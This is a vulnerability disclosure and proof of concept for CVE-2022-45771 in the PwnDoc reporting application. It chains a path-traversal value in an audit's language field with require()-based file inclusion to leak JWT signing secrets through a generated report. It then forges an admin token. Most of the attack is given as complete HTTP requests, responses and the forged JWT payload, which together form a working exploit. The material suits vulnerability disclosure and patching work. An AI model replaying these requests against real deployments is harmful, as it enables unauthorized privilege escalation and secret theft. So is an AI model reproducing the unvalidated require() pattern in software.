CVE-2022-45771

The PwnDoc is vulnerable to both path traversal and local file inclusion (LFI), which allows unprivileged users to disclose JWT secrets and achive code execution.

Requirements:

• An attacker has valid account with user role
• The application has a report template with either finding.vulnType or finding.category tag

Details

The vulnerability chain consists of the next parts:

1. Missing validation of AuditSchema.language property on both model and endpoint levels. (See /backend/src/models/audit.js, line: 71, /backend/src/routes/audit.js, line: 57)
2. Use of require function with user-supplied AuditSchema.language parameter during report generation. (See /backend/src/translate/index.js, line: 10, /backend/src/lib/report-generator.js, lines: 24-25, 477, 487)
3. Exposed jwtSecret and jwtRefreshSecret parameters via module exports in auth.js file. (See /backend/src/lib/auth.js, lines: 17-21)
4. Insecure template file upload functionality allows uploading js files (requires template:create permission).

[PoC] JWT secret disclosure leads to privilege escalation

1. Create an audit with ../lib/auth.js as language, later the file will be loaded and executed using require function and as a result both jwtSecret and jwtRefreshSecret will be exported.

Request:

POST /api/audits HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 73
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}


{"name":"privesc-poc","language":"../lib/auth.js","auditType":"tested"}

Response:

HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 598
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":{"message":"Audit created successfully","audit":{"collaborators":[],"reviewers":[],"state":"EDIT","approvals":[],"_id":"637a49086f5a2e0012dd58c5","name":"privsec-poc","language":"../lib/auth.js","auditType":"tested","creator":"637a2065ab932e0012015580","sections":[],"customFields":[],"sortFindings":[{"category":"jjj","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true},{"category":"dd","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true}],"scope":[],"findings":[],"createdAt":"2022-11-20T15:34:32.246Z","updatedAt":"2022-11-20T15:34:32.246Z","__v":0}}}

2. Set a report template for the audit. Note that template should contain either finding.vulnType - {vulnType} or finding.category - {category} tag. See templating doc**

Request:

PUT /api/audits/637a49086f5a2e0012dd58c5/general HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 207
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}


{"collaborators":[],"reviewers":[],"_id":"637a49086f5a2e0012dd58c5","name":"privesc-poc","language":"../lib/auth.js","auditType":"tested","customFields":[],"template":"6377d57e5cccb10012049dbb","scope":[]}

Response:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:43 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit General updated successfully"}

3. Add finding to the audit. Note that either category or vulnType property should contain jwtSecret.**

Request:

POST /api/audits/637a49086f5a2e0012dd58c5/findings HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 368
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}

{"title":"dsdsd","vulnType":"prod","description":"{description}","observation":"{observation}","references":[],"cvssv3":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L","category":null,"customFields":[], "category":"jwtSecret", "vulnType":"jwtRefreshSecret"}

Response:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:54 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit Finding created successfully"}

4. Generate a report for the previously create audit, and get jwtSecret's value from the created docx document.

Request:

GET /api/audits/637a49086f5a2e0012dd58c5/generate HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Language: en-GB,en;q=0.9
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Connection: keep-alive
Cookie: token=JWT%20{token}

Response:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:34 GMT
Content-Type: application/octet-stream
Content-Length: 98134
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
Content-Disposition: attachment; filename="rce-poc.docx"

{doc-content}

5. Change the role field to admin inside your JWT token and sign it using obtained jwtSecret.

JWT paload:

{
  "id": "637a2065ab932e0012015580",
  "username": "justuser",
  "role": "admin",
  "firstname": "justuser",
  "lastname": "justuser",
  "email": "[email protected]",
  "phone": "12345",
  "roles": [
    "audits:create",
    "audits:read",
    "audits:update",
    "audits:delete",
    "images:create",
    "images:read",
    "clients:create",
    "clients:read",
    "clients:update",
    "clients:delete",
    "companies:create",
    "companies:read",
    "companies:update",
    "companies:delete",
    "languages:read",
    "audit-types:read",
    "vulnerability-types:read",
    "vulnerability-categories:read",
    "sections:read",
    "templates:read",
    "users:read",
    "roles:read",
    "vulnerabilities:read",
    "vulnerability-updates:create",
    "custom-fields:read",
    "settings:read-public"
  ],
  "iat": 1668958053,
  "exp": 1668958953
}